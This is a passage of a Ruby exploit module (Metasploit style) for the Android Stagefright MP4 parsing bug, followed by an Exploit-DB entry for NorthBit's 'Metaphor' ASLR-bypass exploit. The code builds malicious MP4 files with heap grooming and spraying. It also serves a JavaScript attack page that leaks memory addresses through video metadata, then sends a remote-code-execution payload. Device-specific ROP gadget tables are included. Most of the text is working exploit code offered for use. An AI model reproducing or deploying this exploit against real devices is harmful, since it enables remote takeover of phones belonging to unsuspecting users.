big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size
tx3g_2 = get_atom('tx3g', more_data, big_num)
# Create a minimal, verified 'trak' to satisfy mLastTrack being set
stbl_data = get_stsc(1)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount
stbl = get_atom('stbl', stbl_data)
verified_trak = get_atom('trak', stbl)
# Start putting it all together into a track.
trak_data = ''
if is_samsung
# Put some legitimate duration information so we know if we failed
mdhd_data = [ 0 ].pack('N') # version
mdhd_data << "\x00" * 8 # padding
mdhd_data << [ 1 ].pack('N') # timescale
mdhd_data << [ 314 ].pack('N') # duration
mdhd_data << [ 0 ].pack('n') # lang
trak_data << get_atom('mdhd', mdhd_data)
end
# Add this so that our file is identified as video/mp4
mp4v_data = ''
mp4v_data << [ 0 ].pack('C') * 24 # padding
mp4v_data << [ 1024 ].pack('n') # width
mp4v_data << [ 768 ].pack('n') # height
mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding
trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true
# Here, we cause allocations such that we can replace the placeholder...
if is_samsung
trak_data << placeholder # Somethign we can free
trak_data << shape_vector # Eat the loose block...
trak_data << stbl # Cause the growth of the track->meta Vector
else
trak_data << stbl # Cause the growth of the track->meta Vector
trak_data << placeholder # Somethign we can free
trak_data << shape_vector # Eat the loose block...
end
# Add the thing whose entry in the MetaData vector we want to overwrite...
trak_data << near_sampiter
# Get our overflow data into memory
trigger = ''
trigger << tx3g_1
# Free the place holder
trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))
# Overflow the temporary buffer into the following MetaData array
trigger << tx3g_2
# !!! NOTE !!!
# On Samsung devices, the failure that causes ERR to be returned from
# 'tx3g' processing leads to "skipTrack" being set. This means our
# nasty track and it's metadata get deleted and not returned to the
# browser -- effectively killing the infoleak.
#
# However! It also handles "skipTrack" being set specially and does not
# immediately propagate the error to the caller. Instead, it returns OK.
# This allows us to triggering the bug multiple times in one file, or --
# as we have in this case -- survive after and return successfully.
if is_samsung
# Add this as a nested track!
trak_data << get_atom('trak', trigger)
else
trak_data << trigger
end
trak = get_atom('trak', trak_data)
# On Samsung devices, we could put more chunks here but they will
# end up smashing the temporary buffer further...
chunks = []
chunks << get_ftyp()
chunks << get_atom('moov')
chunks << verified_trak * 0x200
chunks << shape_vector * groom_count
chunks << trak
mp4 = chunks.join
mp4
end
def get_mp4_rce(my_target, peer)
# MPEG4 Fileformat Reference:
# http://qtra.apple.com/index.html
#
# Structure:
# [File type Chunk][Other Atom Chunks]
#
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
#
chunks = []
chunks << get_ftyp()
# Note, this causes a few allocations
moov_data = ''
mvhd_data = [ 0, 0x41414141 ].pack('N*')
mvhd_data << 'B' * 0x5c
moov_data << get_atom('mvhd', mvhd_data)
# Add a minimal, verified 'trak' to satisfy mLastTrack being set
verified_trak = ''
stbl_data = get_stsc(0x28)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount
verified_trak << get_atom('trak', get_atom('stbl', stbl_data))
# Add it to the file
moov_data << verified_trak
# The spray_addr field is typically determined empirically (by testing), but
# has proven to be fairly predictable (99%). However, it does vary from
# one device to the next (probably determined by the pre-loaded libraries).
spray_addr = 0xb0c08000
spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil?
# Construct a single page that we will spray
page = build_spray(my_target, peer, spray_addr)
return nil if page.nil?
# Build a big block full of spray pages and and put it in an avcC chunk
# (but don't add it to the 'moov' yet)
spray = page * (((16 * 1024 * 1024) / page.length) - 20)
avcc = get_atom('avcC', spray)
# Make the nasty trak
tkhd1 = ''
tkhd1 << [ 0 ].pack('C') # version
tkhd1 << 'D' * 3 # padding
tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration
tkhd1 << 'F' * 0x10 # ??
tkhd1 << [
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0 # dy
].pack('N*')
tkhd1 << 'G' * 0x14 # ??
# Add the tkhd (track header) to the nasty track
trak1 = ''
trak1 << get_atom('tkhd', tkhd1)
# Build and add the 'mdia' (Media information) to the nasty track
mdia1 = ''
mdhd1 = [ 0 ].pack('C') # version
mdhd1 << 'D' * 0x17 # padding
mdia1 << get_atom('mdhd', mdhd1)
mdia1 << get_atom('hdlr', 'F' * 0x38) # Media handler
dinf1 = ''
dinf1 << get_atom('dref', 'H' * 0x14) # Data information box
minf1 = ''
minf1 << get_atom('smhd', 'G' * 0x08)
minf1 << get_atom('dinf', dinf1)
stbl1 = get_stsc(2)
minf1 << get_atom('stbl', stbl1)
mdia1 << get_atom('minf', minf1)
trak1 << get_atom('mdia', mdia1)
# Add something to take up a slot in the 0x20 size range
# NOTE: We have to be able to free this later...
block = 'Q' * 0x1c
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))
# Add a Track (hopefully right after)
trak1 << verified_trak
# Add the avcC chunk with the heap spray. We add it here so it's sure to be
# allocated when we get control of the program counter...
trak1 << avcc
# Build the first of the nasty pair of tx3g chunks that trigger the
# vulnerability
alloc_size = 0x20
overflow_size = 0xc0
overflow = [ spray_addr ].pack('V') * (overflow_size / 4)
tx3g_1 = get_atom('tx3g', overflow)
trak1 << tx3g_1
# Free the original thing and put the tx3g temporary in it's place...
block = 'R' * 0x40
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))
# Make the second one, which triggers the integer overflow
big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size
more_data = [ spray_addr ].pack('V') * (overflow_size / 4)
tx3g_2 = get_atom('tx3g', more_data, big_num)
trak1 << tx3g_2
# Add the nasty track to the moov data
moov_data << get_atom('trak', trak1)
# Finalize the moov chunk
moov = get_atom('moov', moov_data)
chunks << moov
# Combine outer chunks together and voila.
mp4 = chunks.join
mp4
end
def on_request_uri(cli, request)
# If the request is for an mp4 file, we need to get the target from the @peers hash
if request.uri =~ /\.mp4\?/i
mp4_fn = request.uri.split('/')[-1]
mp4_fn = mp4_fn.split('?')[0]
mp4_fn[-4,4] = ''
peer = @peers[mp4_fn]
my_target = nil
my_target = peer[:target] if peer
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")
return
end
# Extract the address(s) we just leaked...
sia_addr = request.qstring['sia'].to_i # near_sampiter data address
peer[:near_sampiter_addr] = sia_addr if sia_addr > 0
sfv_addr = request.qstring['sfv'].to_i # stagefright Vector<size_t> vtable ptr
peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0
# reset after a crash..
if sia_addr == 0 && sfv_addr == 0
peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil
end
# Always use this header
out_hdrs = {'Content-Type'=>'video/mp4'}
if peer[:vector_vtable_addr].nil?
# Generate the nasty MP4 to leak infoz
mode = "infoleak"
mp4 = get_mp4_leak(my_target, peer)
else
mode = "RCE"
mp4 = get_mp4_rce(my_target, peer)
if mp4.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")
return
end
end
# Send the nasty MP4 file to trigger the vulnerability
if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip'
mp4 = Rex::Text.gzip(mp4)
out_hdrs.merge!('Content-Encoding' => 'gzip')
gzip = "gzip'd"
else
gzip = "raw"
end
client = "Browser"
if request.headers['User-Agent'].include? 'stagefright'
client = "SF"
end
addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ]
print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})")
# Send the nastiness!
send_response(cli, mp4, out_hdrs)
return
end
# Initialize a target. If none suitable, then we don't continue.
my_target = target
if my_target.name =~ /Automatic/
my_target = get_target(request)
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")
return
end
vprint_status("Target selected: #{my_target.name}")
end
# Generate an MP4 filename for this peer
mp4_fn = rand_text_alpha(11)
# Save the target for when they come back asking for this file
# Also initialize the leak address to the first one
@peers[mp4_fn] = { :target => my_target }
# Send the index page
mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4"
html = %Q^<html>
<head>
<title>Please wait...</title>
<script>
var video; // the video tag
var to_id; // timeout ID
var req_start; // when we requested the video
var load_start; // when we loaded the video
// Give mediaserver some time to settle down after restarting -- increases reliability
var waitTime = 100; // 6000;
var error = false;
var near_sampiter_addr = -1;
var vector_vtable_addr = -1;
var crashes = 0;
function duration_changed() {
var now = Date.now();
var req_time = now - req_start;
var load_time = now - load_start;
console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16));
if (load_time > 2000) {
// probably crashed. reset the entire process..
near_sampiter_addr = -1;
vector_vtable_addr = -1;
waitTime = 6000;
crashes += 1;
if (crashes > 5) {
console.log('too many crashes!!!');
stop_everything();
}
}
else {
// if we got the near_sampiter_addr already, we are now trying to read the code pointer.
// otherwise, we're trying to find near_sampiter_addr...
if (near_sampiter_addr == -1) {
// if we get this value, we failed to overwrite the metadata. try again.
if (video.videoHeight != 768) { // XXX: TODO: parameterize
if (video.videoHeight != 0) { // wtf? crashed??
value = video.videoHeight;
console.log('leaked heap pointer: 0x' + value.toString(16));
near_sampiter_addr = value;
}
}
} else if (vector_vtable_addr == -1) {
// if we get this value, we failed to overwrite the metadata. try again.
if (video.duration != 314) { // XXX: TODO: parameterize
// zero means a value that could not be represented...
if (video.duration != 0) {
var value = Math.round(video.duration * 1000000);
console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16));
vector_vtable_addr = value;
}
}
}
// otherwise, we just keep trying with the data we have...
}
if (error == false) {
if (vector_vtable_addr == -1) {
to_id = setTimeout(reload_leak, waitTime);
} else {
to_id = setTimeout(reload_rce, waitTime);
}
waitTime = 100;
}
}
function stop_everything() {
if (error == false) {
console.log('---- GIVING UP!! ----');
error = true;
}
if (to_id != -1) {
clearTimeout(to_id);
}
}
function start() {
video = document.getElementById('vid');
video.onerror = function() {
console.log(' onError called!');
stop_everything();
}
video.ondurationchange = duration_changed;
//reload_rce();
reload_leak();
}
function get_uri() {
var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1;
var uri = '#{mp4_uri}?x=' + rn;
if (near_sampiter_addr != -1) {
uri += '&sia=' + near_sampiter_addr;
}
if (vector_vtable_addr != -1) {
uri += '&sfv=' + vector_vtable_addr;
}
return uri;
}
function reload_leak() {
to_id = -1;
var xhr = new XMLHttpRequest;
xhr.responseType = 'blob';
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status != 200 || !xhr.response) {
stop_everything();
return;
}
load_start = Date.now();
try {
//var url = URL.createObjectURL(xhr.response);
var a = new FileReader();
a.onload = function(e) {
//console.log('onload: ' + e.target.result);
video.src = e.target.result
};
a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
a.readAsDataURL(xhr.response);
} catch(e) {
console.log(' ERROR: ' + e.message);
stop_everything();
}
}
};
xhr.open('GET', get_uri(), true);
req_start = Date.now();
xhr.send();
}
function reload_rce() {
to_id = -1;
video.src = get_uri();
}
</script></head>
<body onload='start()'>
<video id=vid width=1px controls>
Your browser does not support VIDEO tags.
</video><br />
Please wait while we locate your content...
</body>
</html>
^
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
#
# Return some firmware-specific values to the caller.
#
# The VectorRVA field is extracted using the following command:
#
# $ arm-eabi-readelf -a libstagefright.so | grep _ZTVN7android6VectorIjEE
#
def get_details(my_target)
details = {
'lrx' => {
'VectorRVA' => 0x10ae30,
'PivotStrategy' => 'lrx',
'Pivot1' => 0x67f7b, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
'Pivot2' => 0xaf9dd, # ldm.w r4, {sp} ; pop {r3, pc}
'Adjust' => 0x475cd # pop {r3, r4, pc}
},
'lmy-1' => {
'VectorRVA' => 0x10bd58,
'PivotStrategy' => 'lmy-1',
'Pivot1' => 0x68783, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
'Pivot2' => 0x81959, # ldm.w r4, {r1, ip, sp, pc}
'Adjust' => 0x479b1 # pop {r3, r4, pc}
},
'lmy-2' => {
'VectorRVA' => 0x10bd58,
'PivotStrategy' => 'lmy-2',
'Pivot1' => 0x6f093, # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1
'Pivot2' => 0x81921, # ldm.w r0!, {r1, ip, sp, pc}
'Adjust' => 0x479b1 # pop {r3, r4, pc}
},
'shamu / LYZ28E' => {
'VectorRVA' => 0x116d58,
'PivotStrategy' => 'lyz',
'Pivot1' => 0x91e91, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
'Adjust' => 0x44f81 # pop {r3, r4, pc}
},
'shamu / LYZ28J' => {
'VectorRVA' => 0x116d58,
'PivotStrategy' => 'lyz',
'Pivot1' => 0x91e49, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
'Adjust' => 0x44f81 # pop {r3, r4, pc}
},
'sm-g900v / OE1' => {
'VectorRVA' => 0x174048,
'PivotStrategy' => 'sm-g900v',
'Pivot1' => 0x89f83, # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5
'Pivot2' => 0xb813f, # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2
'Adjust' => 0x65421 # pop {r4, r5, pc}
}
}
details[my_target['Rop']]
end
end
Exploit Database EDB-ID : 39640
Date de publication : 2016-03-29 22h00 +00:00
Auteur : NorthBit
EDB Vérifié : No
Source: https://github.com/NorthBit/Metaphor
Metaphor - Stagefright with ASLR bypass By Hanan Be'er from NorthBit Ltd.
Link to whitepaper: https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf
Twitter: https://twitter.com/High_Byte
Metaphor's source code is now released! The source include a PoC that generates MP4 exploits in real-time and bypassing ASLR. The PoC includes lookup tables for Nexus 5 Build LRX22C with Android 5.0.1. Server-side of the PoC include simple PHP scripts that run the exploit generator - I'm using XAMPP to serve gzipped MP4 files. The attack page is index.php.
The exploit generator is written in Python and used by the PHP code.
usage: metaphor.py [-h] [-c CONFIG] -o OUTPUT {leak,rce,suicide} ...
positional arguments:
{leak,rce,suicide} Type of exploit to generate
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
Override exploit configuration
-o OUTPUT, --output OUTPUT
Credits: To the NorthBit team E.P. - My shining paladin, for assisting in boosting this project to achieve all the goals.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39640.zip
Products Mentioned
Configuraton 0
Google>>Android >> Version To (including) 5.1
Références